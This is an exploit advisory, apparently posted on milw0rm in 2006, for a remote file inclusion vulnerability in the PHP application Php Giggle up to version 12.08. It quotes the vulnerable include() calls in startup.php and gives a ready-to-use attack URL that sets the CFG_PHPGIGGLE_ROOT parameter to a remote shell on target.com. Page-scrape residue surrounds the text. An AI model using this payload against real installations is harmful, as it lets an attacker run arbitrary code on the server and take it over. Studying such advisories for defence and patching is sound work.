42 lines
No EOL
965 B
Text
42 lines
No EOL
965 B
Text
*******************************************************************************
|
|
# Title : Php Giggle <= 12.08 Remote File Include Vulnerability
|
|
|
|
# Author : ajann
|
|
|
|
# Vuln;
|
|
|
|
*******************************************************************************
|
|
[File]
|
|
startup.php
|
|
[/File]
|
|
|
|
[Code,1]
|
|
startup.php Error:
|
|
|
|
..
|
|
....
|
|
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
|
|
"/kernel/system/modregistry.inc.php");
|
|
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
|
|
"/kernel/public/msg.func.php");
|
|
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
|
|
"/kernel/public/fileio.func.php");
|
|
|
|
//once the file I/O wrapper is brought up, it is convenient to use
|
|
//function fileInclude
|
|
....
|
|
..
|
|
|
|
Key [:] CFG_PHPGIGGLE_ROOT=[file]
|
|
|
|
\Example:
|
|
|
|
http://target.com/path/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT=[Shell]
|
|
|
|
# ajann,Turkey
|
|
# ...
|
|
# Im not Hacker!
|
|
|
|
http://www.comscripts.com/scripts/php.phpgiggle.565.html => Télécharger
|
|
|
|
# milw0rm.com [2006-11-06] |